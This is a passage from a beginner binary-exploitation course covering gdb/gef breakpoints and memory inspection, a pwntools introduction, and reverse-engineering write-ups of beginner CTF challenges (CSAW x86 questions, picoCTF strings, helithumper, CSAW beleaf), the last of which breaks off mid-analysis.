   0x08048428 <+45>:	ret    
End of assembler dump.

Let's say we wanted to break on the call to puts. We can do this by setting a breakpoint for that instruction.

Like this:

gef➤  b *main+25
Breakpoint 1 at 0x8048414

Or like this:

gef➤  b *0x08048414
Note: breakpoint 1 also set at pc 0x08048414
Breakpoint 2 at 0x08048414

When we run the binary and it tries to execute that instruction, the process will pause and drop us into the debugger console:

gef➤  r
Starting program: /home/devey/nightmare/modules/02-intro_tooling/hello_world 
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xf7fb9dd8  →  0xffffd19c  →  0xffffd389  →  "CLUTTER_IM_MODULE=xim"
$ebx   : 0x0       
$ecx   : 0xffffd100  →  0x00000001
$edx   : 0xffffd124  →  0x00000000
$esp   : 0xffffd0d0  →  0x080484b0  →  "hello world!"
$ebp   : 0xffffd0e8  →  0x00000000
$esi   : 0xf7fb8000  →  0x001d4d6c
$edi   : 0x0       
$eip   : 0x08048414  →  0xfffeb7e8  →  0x00000000
$eflags: [zero carry PARITY ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
────────────────────────────────────────────────────────────────────────── stack ────
0xffffd0d0│+0x0000: 0x080484b0  →  "hello world!"	 ← $esp
0xffffd0d4│+0x0004: 0xffffd194  →  0xffffd34e  →  "/home/devey/nightmare/modules/02-intro_tooling/hel[...]"
0xffffd0d8│+0x0008: 0xffffd19c  →  0xffffd389  →  "CLUTTER_IM_MODULE=xim"
0xffffd0dc│+0x000c: 0x08048451  →  <__libc_csu_init+33> lea eax, [ebx-0xf8]
0xffffd0e0│+0x0010: 0xf7fe59b0  →   push ebp
0xffffd0e4│+0x0014: 0xffffd100  →  0x00000001
0xffffd0e8│+0x0018: 0x00000000	 ← $ebp
0xffffd0ec│+0x001c: 0xf7dfbe81  →  <__libc_start_main+241> add esp, 0x10
──────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8048409 <main+14>        sub    esp, 0x4
    0x804840c <main+17>        sub    esp, 0xc
    0x804840f <main+20>        push   0x80484b0
 →  0x8048414 <main+25>        call   0x80482d0 <puts@plt>
   ↳   0x80482d0 <puts@plt+0>     jmp    DWORD PTR ds:0x80496bc
       0x80482d6 <puts@plt+6>     push   0x0
       0x80482db <puts@plt+11>    jmp    0x80482c0
       0x80482e0 <__gmon_start__@plt+0> jmp    DWORD PTR ds:0x80496c0
       0x80482e6 <__gmon_start__@plt+6> push   0x8
       0x80482eb <__gmon_start__@plt+11> jmp    0x80482c0
──────────────────────────────────────────────────────────── arguments (guessed) ────
puts@plt (
   [sp + 0x0] = 0x080484b0 → "hello world!",
   [sp + 0x4] = 0xffffd194 → 0xffffd34e → "/home/devey/nightmare/modules/02-intro_tooling/hel[...]"
)
──────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "hello_world", stopped 0x8048414 in main (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048414 → main()
─────────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x08048414 in main ()
gef➤  

In the debugger console is where we can actually use the debugger to provide various types of analysis, and change things about the binary. For now let's keep looking at breakpoints. To show all breakpoints:

gef➤  info breakpoints
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x08048414 <main+25>
	breakpoint already hit 1 time
2       breakpoint     keep y   0x08048414 <main+25>

or to be short, "info b" or "i b".

To delete a breakpoint Num 2:

gef➤  delete 2

or to be short "del 2" or "d 2".

We can also set breakpoints for functions like puts:

gef➤  b *puts
Breakpoint 1 at 0x80482d0
gef➤  r
Starting program: /home/devey/nightmare/modules/02-intro_tooling/hello_world 
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xf7fb9dd8  →  0xffffd19c  →  0xffffd389  →  "CLUTTER_IM_MODULE=xim"
$ebx   : 0x0       
$ecx   : 0xffffd100  →  0x00000001
$edx   : 0xffffd124  →  0x00000000
$esp   : 0xffffd0cc  →  0x08048419  →  <main+30> add esp, 0x10
$ebp   : 0xffffd0e8  →  0x00000000
$esi   : 0xf7fb8000  →  0x001d4d6c
$edi   : 0x0       
$eip   : 0xf7e4a360  →  <puts+0> push ebp
$eflags: [zero carry parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
────────────────────────────────────────────────────────────────────────── stack ────
0xffffd0cc│+0x0000: 0x08048419  →  <main+30> add esp, 0x10	 ← $esp
0xffffd0d0│+0x0004: 0x080484b0  →  "hello world!"
0xffffd0d4│+0x0008: 0xffffd194  →  0xffffd34e  →  "/home/devey/nightmare/modules/02-intro_tooling/hel[...]"
0xffffd0d8│+0x000c: 0xffffd19c  →  0xffffd389  →  "CLUTTER_IM_MODULE=xim"
0xffffd0dc│+0x0010: 0x08048451  →  <__libc_csu_init+33> lea eax, [ebx-0xf8]
0xffffd0e0│+0x0014: 0xf7fe59b0  →   push ebp
0xffffd0e4│+0x0018: 0xffffd100  →  0x00000001
0xffffd0e8│+0x001c: 0x00000000	 ← $ebp
──────────────────────────────────────────────────────────────────── code:x86:32 ────
   0xf7e4a356 <popen+134>      call   0xf7dfb608 <free@plt>
   0xf7e4a35b <popen+139>      add    esp, 0x10
   0xf7e4a35e <popen+142>      jmp    0xf7e4a333 <popen+99>
 → 0xf7e4a360 <puts+0>         push   ebp
   0xf7e4a361 <puts+1>         mov    ebp, esp
   0xf7e4a363 <puts+3>         push   edi
   0xf7e4a364 <puts+4>         push   esi
   0xf7e4a365 <puts+5>         push   ebx
   0xf7e4a366 <puts+6>         call   0xf7f17c89
──────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "hello_world", stopped 0xf7e4a360 in puts (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf7e4a360 → puts()
[#1] 0x8048419 → main()
─────────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0xf7e4a360 in puts () from /lib32/libc.so.6

Viewing Things

So one thing that gdb is really useful for is viewing the values of different things. Once we are dropped into a debugger while the process is viewing, let's view the contents of the esp register. To get there we will break on main, run, and then advance three instructions:

gef➤  break main 
gef➤  run
gef➤  nexti
gef➤  nexti
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xf7fb9dd8  →  0xffffd19c  →  0xffffd389  →  "CLUTTER_IM_MODULE=xim"
$ebx   : 0x0       
$ecx   : 0xffffd100  →  0x00000001
$edx   : 0xffffd124  →  0x00000000
$esp   : 0xffffd0d4  →  0xffffd194  →  0xffffd34e  →  "/home/devey/nightmare/modules/02-intro_tooling/hel[...]"
$ebp   : 0xffffd0e8  →  0x00000000
$esi   : 0xf7fb8000  →  0x001d4d6c
$edi   : 0x0       
$eip   : 0x0804840f  →  <main+20> push 0x80484b0
$eflags: [zero carry PARITY ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
────────────────────────────────────────────────────────────────────────── stack ────
0xffffd0d4│+0x0000: 0xffffd194  →  0xffffd34e  →  "/home/devey/nightmare/modules/02-intro_tooling/hel[...]"	 ← $esp
0xffffd0d8│+0x0004: 0xffffd19c  →  0xffffd389  →  "CLUTTER_IM_MODULE=xim"
0xffffd0dc│+0x0008: 0x08048451  →  <__libc_csu_init+33> lea eax, [ebx-0xf8]
0xffffd0e0│+0x000c: 0xf7fe59b0  →   push ebp
0xffffd0e4│+0x0010: 0xffffd100  →  0x00000001
0xffffd0e8│+0x0014: 0x00000000	 ← $ebp
0xffffd0ec│+0x0018: 0xf7dfbe81  →  <__libc_start_main+241> add esp, 0x10
0xffffd0f0│+0x001c: 0xf7fb8000  →  0x001d4d6c
──────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8048407 <main+12>        in     eax, 0x51
    0x8048409 <main+14>        sub    esp, 0x4
    0x804840c <main+17>        sub    esp, 0xc
 →  0x804840f <main+20>        push   0x80484b0
    0x8048414 <main+25>        call   0x80482d0 <puts@plt>
    0x8048419 <main+30>        add    esp, 0x10
    0x804841c <main+33>        mov    eax, 0x0
    0x8048421 <main+38>        mov    ecx, DWORD PTR [ebp-0x4]
    0x8048424 <main+41>        leave  
──────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "hello_world", stopped 0x804840f in main (), reason: SINGLE STEP
────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804840f → main()
─────────────────────────────────────────────────────────────────────────────────────
0x0804840f in main ()
gef➤  p 0x80484b0
$1 = 0x80484b0
gef➤  x/10c 0x80484b0
0x80484b0:	0x68	0x65	0x6c	0x6c	0x6f	0x20	0x77	0x6f
0x80484b8:	0x72	0x6c
gef➤  x/s 0x80484b0
0x80484b0:	"hello world!"

gef➤  

We can see that the register esp holds the value 0xffffd0d0, which is a pointer. Let's see what it points to:

gef➤  x/a 0xffffd0d0
0xffffd0d0:	0x80484b0
gef➤  x/10c 0x80484b0
0x80484b0:	0x68	0x65	0x6c	0x6c	0x6f	0x20	0x77	0x6f
0x80484b8:	0x72	0x6c
gef➤  x/s 0x80484b0
0x80484b0:	"hello world!"

So we can see that it points to the string hello world!, which will be printed by puts (since puts takes a single argument which is a char pointer). One thing in gdb when you examine things with x, you can specify what you want to examine it as. Possible things include as an address x/a, a number of characters x/10c string x/s, as a qword x/g, or as a dword x/w.

let's view the contents of all of the registers:

gef➤  info registers
eax            0xf7fb9dd8	0xf7fb9dd8
ecx            0xffffd100	0xffffd100
edx            0xffffd124	0xffffd124
ebx            0x0	0x0
esp            0xffffd0d0	0xffffd0d0
ebp            0xffffd0e8	0xffffd0e8
esi            0xf7fb8000	0xf7fb8000
edi            0x0	0x0
eip            0x8048414	0x8048414 <main+25>
eflags         0x296	[ PF AF SF IF ]
cs             0x23	0x23
ss             0x2b	0x2b
ds             0x2b	0x2b
es             0x2b	0x2b
fs             0x0	0x0
gs             0x63	0x63

Now let's view the stack frame:

gef➤  info frame
Stack level 0, frame at 0xffffd100:
 eip = 0x8048414 in main; saved eip = 0xf7dfbe81
 Arglist at 0xffffd0e8, args: 
 Locals at 0xffffd0e8, Previous frame's sp is 0xffffd100
 Saved registers:
  ebp at 0xffffd0e8, eip at 0xffffd0fc

Now let's view the disassembly for the main function:

gef➤  disass main
Dump of assembler code for function main:
   0x080483fb <+0>:	lea    ecx,[esp+0x4]
   0x080483ff <+4>:	and    esp,0xfffffff0
   0x08048402 <+7>:	push   DWORD PTR [ecx-0x4]
   0x08048405 <+10>:	push   ebp
   0x08048406 <+11>:	mov    ebp,esp
   0x08048408 <+13>:	push   ecx
   0x08048409 <+14>:	sub    esp,0x4
   0x0804840c <+17>:	sub    esp,0xc
   0x0804840f <+20>:	push   0x80484b0
=> 0x08048414 <+25>:	call   0x80482d0 <puts@plt>
   0x08048419 <+30>:	add    esp,0x10
   0x0804841c <+33>:	mov    eax,0x0
   0x08048421 <+38>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048424 <+41>:	leave  
   0x08048425 <+42>:	lea    esp,[ecx-0x4]
   0x08048428 <+45>:	ret    
End of assembler dump.

Changing Values

As you can see, we are at the instruction for puts.

Let's say we wanted to change the contents of what will be printed. Importantly, in many programs your ability to do this is dependent on the size of the string you are trying to replace. If you overwrite it with something that is too large, you run the risk of overwriting other memory and breaking the program. There are plenty of workarounds but this is rarely applicable from a bin-ex perspective.

gef➤  set {char [12]} 0x080484b0 = "hello venus"
gef➤  x/s 0x080484b0
0x80484b0:	"hello venus"
gef➤  nexti
hello venus
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xc       
$ebx   : 0x0       
$ecx   : 0x0804a160  →  "hello venus\n"
$edx   : 0xf7fb9890  →  0x00000000
$esp   : 0xffffd0d0  →  0x080484b0  →  "hello venus"
$ebp   : 0xffffd0e8  →  0x00000000
$esi   : 0xf7fb8000  →  0x001d4d6c
$edi   : 0x0       
$eip   : 0x08048419  →  <main+30> add esp, 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
────────────────────────────────────────────────────────────────────────── stack ────
0xffffd0d0│+0x0000: 0x080484b0  →  "hello venus"	 ← $esp
0xffffd0d4│+0x0004: 0xffffd194  →  0xffffd34e  →  "/home/devey/nightmare/modules/02-intro_tooling/hel[...]"
0xffffd0d8│+0x0008: 0xffffd19c  →  0xffffd389  →  "CLUTTER_IM_MODULE=xim"
0xffffd0dc│+0x000c: 0x08048451  →  <__libc_csu_init+33> lea eax, [ebx-0xf8]
0xffffd0e0│+0x0010: 0xf7fe59b0  →   push ebp
0xffffd0e4│+0x0014: 0xffffd100  →  0x00000001
0xffffd0e8│+0x0018: 0x00000000	 ← $ebp
0xffffd0ec│+0x001c: 0xf7dfbe81  →  <__libc_start_main+241> add esp, 0x10
──────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x804840c <main+17>        sub    esp, 0xc
    0x804840f <main+20>        push   0x80484b0
    0x8048414 <main+25>        call   0x80482d0 <puts@plt>
 →  0x8048419 <main+30>        add    esp, 0x10
    0x804841c <main+33>        mov    eax, 0x0
    0x8048421 <main+38>        mov    ecx, DWORD PTR [ebp-0x4]
    0x8048424 <main+41>        leave  
    0x8048425 <main+42>        lea    esp, [ecx-0x4]
    0x8048428 <main+45>        ret    
──────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "hello_world", stopped 0x8048419 in main (), reason: SINGLE STEP
────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048419 → main()
─────────────────────────────────────────────────────────────────────────────────────
0x08048419 in main ()

Now let's say we wanted to change the value stored at the memory address 0x08048451 to 0xfacade:

gef➤  x/g 0x08048451
0x8048451 <__libc_csu_init+33>:	0xff08838d
gef➤  set *0x08048451 = 0xfacade
gef➤  x/g 0x08048451
0x8048451 <__libc_csu_init+33>:	0xfacade

Let's say we wanted to jump directly to an instruction like 0x08048451, and skip all instructions in between:

gef➤  j *0x08048451
Continuing at 0x0x08048451.

That was a lot, keep referring to this, your notes, and GDB cheatsheets as you go along.

pwntools intro

Pwntools is a python ctf library designed for rapid exploit development. It essentially help us write exploits quickly, and has a lot of useful functionality behind it.

Also one thing to note, pwntools has Python2 and Python3 versions. Atm this course uses the Python2, but I have plans to switch it all over to Python3. Just keep in mind that some things change between Python2 to the Python3 versions, however the changes are relatively small.

Installation

It's fairly simple process. The installation process is pretty much just using pip:

$    sudo pip install pwn

If you have any problems, google will help a lot.

Using it

So this is going to be an explanation on how you do various things with pwntools. It will only cover a small bit of functionality.

If we want to import it into python:

from pwn import *

Now one thing that pwntools does for us, is it has some nice piping functionality which helps with IO. If we want to connect to the server at github.com (if you have an IP address, just swap out the dns name with the IP address) on port 9000 via tcp:

target = remote("github.com", 9000)

If you want to run a target binary:

target = process("./challenge")

If you want to attach the gdb debugger to a process:

gdb.attach(target)

If we want to attach the gdb debugger to a process, and also immediately pass a command to gdb to set a breakpoint at main:

gdb.attach(target, gdbscript='b *main')

Now for actual I/O. If we want to send the variable x to the target (target can be something like a process, or remote connection established by pwntools):

target.send(x)

If we wanted to send the variable x followed by a newline character appended to the end:

target.sendline(x)

If we wanted to print a single line of text from target:

print target.recvline()

If we wanted to print all text from target up to the string out:

print target.recvuntil("out")

Now one more thing, ELFs store data via least endian, meaning that data is stored with the least significant byte first. In a few situations where we are scanning in an integer, we will need to take this into account. Luckily pwntools will take care of this for us.

To pack the integer y as a least endian QWORD (commonly used for x64):

p64(x)

To pack the integer y as a least endian DWORD (commonly used for x86):

p32(x)

It can also unpack values we get. Let's say we wanted to unpack a least endian QWORD and get it's integer value:

u64(x)

To unpack a DWORD:

u32(x)

Lastly if just wanted to interact directly with target:

target.interactive()

This is only a small bit of the functionality pwntools has. You will see a lot more of the functionality later. If you want to see more of pwntools, it has some great docs: http://docs.pwntools.com/en/stable/

Csaw 2018 Tour of x86 pt 1

The goal of this challenge is to answer the following questions.

Starting off this challenge is meant to teach beginners a little bit about x86. The questions were only up during the competition, so I had to grab the questions that were asked from https://github.com/mohamedaymenkarmous/CTF/tree/master/CSAWCTFQualificationRound2018#a-tour-of-x86---part-1.

These questions are in regards to the stage1.asm file in this directory. That is just a text file which contains assembly code.

What is the value of dh after line 129 executes?

Line 129 is:

  xor dh, dh  ; <- Question 1

This command is xoring the dh register with itself, and stores the value in the dh register. Due to how the binary operation xoring works, whenever you xor something by itself the result is 0. So the value of dh after line 129 executes is 0x0.

What is the value of gs after line 145 executes?

Line 145 is:

  mov gs, dx ; to use them to help me clear     <- Question 2

With this instruction the contents of the dx register get moved into the gs register. So we need to know the contents of the dx register. Looking a bit further up in the code, we see this (lines 131 and 132):

  mov dx, 0xffff  ; Hexadecimal
  not dx

Here we see that the value 0xffff is moved into the dx register, then noted. When a value is notted, the bits are flopped. And since with the value 0xffff, all of the bits are 1s (for 16 bit values), the result of dx will be zero. Also we see that between lines 132 and 145, there is nothing that would change the value of dx to something other than 0x0. So when the contents of dx gets moved into gs, the value of gs has to be 0x0.

What is the value of si after line 151 executes?

Line 151 is:

  mov si, sp ; Source Index       <- Question 3

So for this just moves the value of the Stack Pointer register into the Source Index register. In order to know what the value of si is after this, we need to know what the value of sp is. Looking up in the code, we see this on line 149:

  mov sp, cx ; Stack Pointer

So we know that the value of the sp register is equal to that of the cx register. Looking further up in the code, we see a comment telling us what it is (line 144):

  mov fs, cx ; already zero, I'm just going

And when we look at line 107, we can see where the register cx gets the value 0x0 assigned to it:

  mov cx, 0 ; The other two values get overwritten regardless, the value of ch and cl (the two components that make up cx) after this instruction are both 0, not 1.

What is the value of ax after line 169 executes?

Lines 168-169 are:

  mov al, 't'
  mov ah, 0x0e      ; <- question 4

This moves the value 0x0e into the ah register, and moves the value 0x74 (hex for t) into the al register. Now the question asks about the ax register, which is a 16 bit register, comprised of the two 8 bit registers al and ah. Here is how this works:

15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | | | | AH | AL | | | | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

The diagram above shows the 16 bits of the ax register. The lower 8 bits are comprised of the al register. The higher 8 bits are comprised of the ah register. Since the al register is equal to 0x74, and the ah register is equal to 0x0e, the ax register is equal to 0x0e74.

What is the value of ax after line 199 executes for the first time?

Line 199 is:

    mov ah, 0x0e  ; <- Question 5!

So we see here that the value 0x0e is loaded into the ah register. So from the previous question, we know that the higher 8 bits of the ax register must be equal to 0x0e. That just leaves the question of the lower 8 bits. Looking at line 197 tells us the value which will be stored in the al register (lower 8 bits):

    mov al, [si]  ; Since this is treated as a dereference of si, we are getting the BYTE AT si... `al = *si`

Looking here we can see that the dereferenced value of si is moved into al. So whatever value si is pointing to, is now the new value in the al register. Looking at line 189 helps with that:

    mov si, ax  ; We have no syntactic way of passing parameters, so I'm just going to pass the first argument of a function through ax - the string to print.

Here we see that the contents of ax is moved into si. Looking around a bit more we see this.

  ; First let's define a string to print, but remember...now we're defining junk data in the middle of code, so we need to jump around it so there's no attempt to decode our text string
  mov ax, .string_to_print

So here we see that an address to a string is loaded into the ax register. We can also see what string the address points to.

.string_to_print: db "acOS", 0x0a, 0x0d, "  by Elyk", 0x00  ; label: <size-of-elements> <array-of-elements>

and lastly we can just take a quick look at the entire loop where line 199 resides:

; Now let's make a whole 'function' that prints a string
print_string:
  .init:
    mov si, ax  ; We have no syntactic way of passing parameters, so I'm just going to pass the first argument of a function through ax - the string to print.

  .print_char_loop:
    cmp byte [si], 0  ; The brackets around an expression is interpreted as "the address of" whatever that expression is.. It's exactly the same as the dereference operator in C-like languages
                        ; So in this case, si is a pointer (which is a copy of the pointer from ax (line 183), which is the first "argument" to this "function", which is the pointer to the string we are trying to print)
                        ; If we are currently pointing at a null-byte, we have the end of the string... Using null-terminated strings (the zero at the end of the string definition at line 178)
    je .end
   
    mov al, [si]  ; Since this is treated as a dereference of si, we are getting the BYTE AT si... `al = *si`

    mov ah, 0x0e  ; <- Question 5!
    int 0x10      ; Actually print the character
 
    inc si        ; Increment the pointer, get to the next character
    jmp .print_char_loop
    .end:

Here is a loop that is printing all of the characters of the string. At the start of this loop the pointer points to the beginning of the string (line 197), then gets incremented (line 202) by one meaning that it moves on to the next character untill it hits the null byte (0x0), which the comparison happens at line 192. It will print each character with the interrupt a line 200 (check out https://en.wikipedia.org/wiki/INT_10H for more info, the value 0x0e in the ah register is an argument to the interrupt). Since the first character of the string is a which in hex is 0x61, the value of al the first time it is ran should be 0x61. So the value of the ax register should be 0x0e61.

pico ctf 2018 strings

The goal of this challenge is to find the flag

Let's take a look at the binary:

$    file strings
strings: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e337b489c47492dd5dff90353eb227b4e7e69028, not stripped
$    ./strings
Have you ever used the 'strings' function? Check out the man pages!

So we can see that we are dealing with a 64 bit binary. When we run it, it tells us about strings. Strings is a program which will parse through a file, and display ascii strings it finds. Ghidra, binja, and a lot of other binary analysis tools also have this functionality. Let's try using strings

$    strings strings | grep {
picoCTF{sTrIngS_sAVeS_Time_3f712a28}

Like that, we found the flag! The flag was stored as a string within the binary, so using strings we can see it.

helithumper re

The goal of this challenge is to get the flag. This was a challenge made by Helithumper (github.com/helithumper). Let's take a look at the binary:

$    ./rev
Welcome to the Salty Spitoon™, How tough are ya?
Tough as Joseph, but not Jotaro
Yeah right. Back to Weenie Hut Jr™ with ya
$    file rev
rev: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e4dbcb1281821db359d566c68fea7380aeb27378, for GNU/Linux 3.2.0, not stripped

So we can see that we are dealing with a 64 bit binary. When we run it, it prompts us for input. What is probably going on here, is it is scanning in data, and checking it. In order to get the flag, we will probably need to pass that check.

When we take a look at the main function in Ghidra, we see this (btw I cleaned up the code a little bit, what you see will probably look a little different):

ulong main(void)

{
  int check;
  void *ptr;
 
  ptr = calloc(0x32,1);
  puts("Welcome to the Salty Spitoon™, How tough are ya?");
  __isoc99_scanf(&DAT_0010203b,ptr);
  check = validate(ptr);
  if (check == 0) {
    puts("Yeah right. Back to Weenie Hut Jr™ with ya");
  }
  else {
    puts("Right this way...");
  }
  return (ulong)(check == 0);
}

So we can see that it is scanning in data to ptr, then running the validate function. We can see that the validate function does this:

undefined8 validate(char *input)

{
  long lVar1;
  size_t inputLen;
  undefined8 returnValue;
  long in_FS_OFFSET;
  int i;
  int checkValues [4];
 
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  checkValues[0] = 0x66;
  checkValues[1] = 0x6c;
  checkValues[2] = 0x61;
  checkValues[3] = 0x67;
  inputLen = strlen(input);
  i = 0;
  do {
    if ((int)inputLen <= i) {
      returnValue = 1;
LAB_001012b7:
      if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return returnValue;
    }
    if ((int)input[(long)i] != checkValues[(long)i]) {
      returnValue = 0;
      goto LAB_001012b7;
    }
    i = i + 1;
  } while( true );
}

So we can see that it essentially takes our input, and runs it though a while true loop. For each iteration of this loop, we see that it checks one character of our input against a character in checkValues. The character it checks depends on which iteration of the loop it is. For instance iteration 0 will check the character of our input at index 0, iteration 2 will check the character of our input at index 2, and so on:

    if ((int)input[(long)i] != checkValues[(long)i]) {
      returnValue = 0;
      goto LAB_001012b7;

We also see there is a termination condition where if the iteration count exceeds the length of the string, it will exit. That is because it has finished checking the string:

    if ((int)inputLen <= i) {
      returnValue = 1;

Now this check will either return a 1, or a 0. In order to solve this challenge, we need it to ouput a 1. In order for that to happen, we can't fail any of the character checks. In order for that to happen our input needs to be the same as the characters it checks it against. Looking at the code, we see that the first four characters it sets. However looking at the assembly code shows us that there is more:

        00101205 c7 45 c0        MOV        dword ptr [RBP + checkValues[0]],0x66
                 66 00 00 00
        0010120c c7 45 c4        MOV        dword ptr [RBP + checkValues[1]],0x6c
                 6c 00 00 00
        00101213 c7 45 c8        MOV        dword ptr [RBP + checkValues[2]],0x61
                 61 00 00 00
        0010121a c7 45 cc        MOV        dword ptr [RBP + checkValues[3]],0x67
                 67 00 00 00
        00101221 c7 45 d0        MOV        dword ptr [RBP + local_38],0x7b
                 7b 00 00 00
        00101228 c7 45 d4        MOV        dword ptr [RBP + local_34],0x48
                 48 00 00 00
        0010122f c7 45 d8        MOV        dword ptr [RBP + local_30],0x75
                 75 00 00 00
        00101236 c7 45 dc        MOV        dword ptr [RBP + local_2c],0x43
                 43 00 00 00
        0010123d c7 45 e0        MOV        dword ptr [RBP + local_28],0x66
                 66 00 00 00
        00101244 c7 45 e4        MOV        dword ptr [RBP + local_24],0x5f
                 5f 00 00 00
        0010124b c7 45 e8        MOV        dword ptr [RBP + local_20],0x6c
                 6c 00 00 00
        00101252 c7 45 ec        MOV        dword ptr [RBP + local_1c],0x41
                 41 00 00 00
        00101259 c7 45 f0        MOV        dword ptr [RBP + local_18],0x62
                 62 00 00 00
        00101260 c7 45 f4        MOV        dword ptr [RBP + local_14],0x7d
                 7d 00 00 00

From this, we can get this list of bytes that our input needs to be:

0x66
0x6c
0x61
0x67
0x7b
0x48
0x75
0x43
0x66
0x5f
0x6c
0x41
0x62
0x7d

We can use python to convert them into ascii like so:

$    python
Python 2.7.16 (default, Apr  6 2019, 01:42:57)
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> x = [0x66, 0x6c, 0x61, 0x67, 0x7b, 0x48, 0x75, 0x43, 0x66, 0x5f, 0x6c, 0x41, 0x62, 0x7d]
>>> input = ""
>>> for i in x:
...     input += chr(i)
...
>>> input
'flag{HuCf_lAb}'

So we can see that our needed input is flag{HuCf_lAb} which is probably the flag (we can tell this, since the flag is usually in a format similar to flag{x}, with x being some string):

$    ./rev
Welcome to the Salty Spitoon™, How tough are ya?
flag{HuCf_lAb}
Right this way...

Just like that we got the flag!

CSAW 2019 beleaf

When we take a look at the binary, we see this:

$    file beleaf
beleaf: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6d305eed7c9bebbaa60b67403a6c6f2b36de3ca4, stripped
$    pwn checksec beleaf
[*] '/Hackery/pod/modules/3-beginner_re/csaw19_beleaf/beleaf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    ./beleaf
Enter the flag
>>> 15935728
Incorrect!

So we can see that we are dealing with a 64 bit binary. When we run the binary, it prompts us for input. This is probably a crackme challenge. This is a type of challenge that scans in input, and checks it. The goal is to pass it the correct input, to pass whatever check it does.

Reversing

Looking at the main function at 0x1008a1, we see this:

undefined8 main(void)

{
  size_t inputLen;
  long transformedInput;
  long in_FS_OFFSET;
  ulong i;
  char input [136];
  long stackCanary;
 
  stackCanary = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter the flag\n>>> ");
  __isoc99_scanf(&DAT_00100a78,input);
  inputLen = strlen(input);
  if (inputLen < 0x21) {
    puts("Incorrect!");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  i = 0;
  while (i < inputLen) {
    transformedInput = transformFunc(input[i]);
    if (transformedInput != *(long *)(&desiredOutput + i * 8)) {
      puts("Incorrect!");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    i = i + 1;
  }
  puts("Correct!");
  if (stackCanary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

So we can see, it starts off by scanning in input. If our input is less than 0x21 (33) bytes, the code exits (so our input probably has to be 33) bytes, Looking at it later, we see that it enters into a for loop. It will run each character through the transformFunc (or at least until the code calls exit). It will then compare the output of that functions (stored in transformedInput) against the corresponding character in the bss array desiredOutput (characters are stored at offsets of 8) bytes. If the two are not equivalent, exit is called and we fail the challenge. We can see the contents of desiredOutput by double clicking on it. When we look at desiredOutput, we see this:

                             desiredOutput                                   XREF[2]:     main:0010096b(*),
                                                                                          main:00100972(R)  
        003014e0 01              ??         01h
        003014e1 00              ??         00h
        003014e2 00              ??         00h
        003014e3 00              ??         00h
        003014e4 00              ??         00h
        003014e5 00              ??         00h
        003014e6 00              ??         00h
        003014e7 00              ??         00h
        003014e8 09              ??         09h
        003014e9 00              ??         00h
        003014ea 00              ??         00h
        003014eb 00              ??         00h
        003014ec 00              ??         00h
        003014ed 00              ??         00h
        003014ee 00              ??         00h
        003014ef 00              ??         00h
        003014f0 11              ??         11h
        003014f1 00              ??         00h
        003014f2 00              ??         00h
        003014f3 00              ??         00h
        003014f4 00              ??         00h
        003014f5 00              ??         00h
        003014f6 00              ??         00h
        003014f7 00              ??         00h
        003014f8 27              ??         27h    '
        003014f9 00              ??         00h
        003014fa 00              ??         00h
        003014fb 00              ??         00h
        003014fc 00              ??         00h
        003014fd 00              ??         00h
        003014fe 00              ??         00h
        003014ff 00              ??         00h
        00301500 02              ??         02h

So here we see that our first output has to be equal to 0x1, our second has to be 0x9, our third has to be 0x11, and so on and so forth. Looking at the transformFunc, we see this:

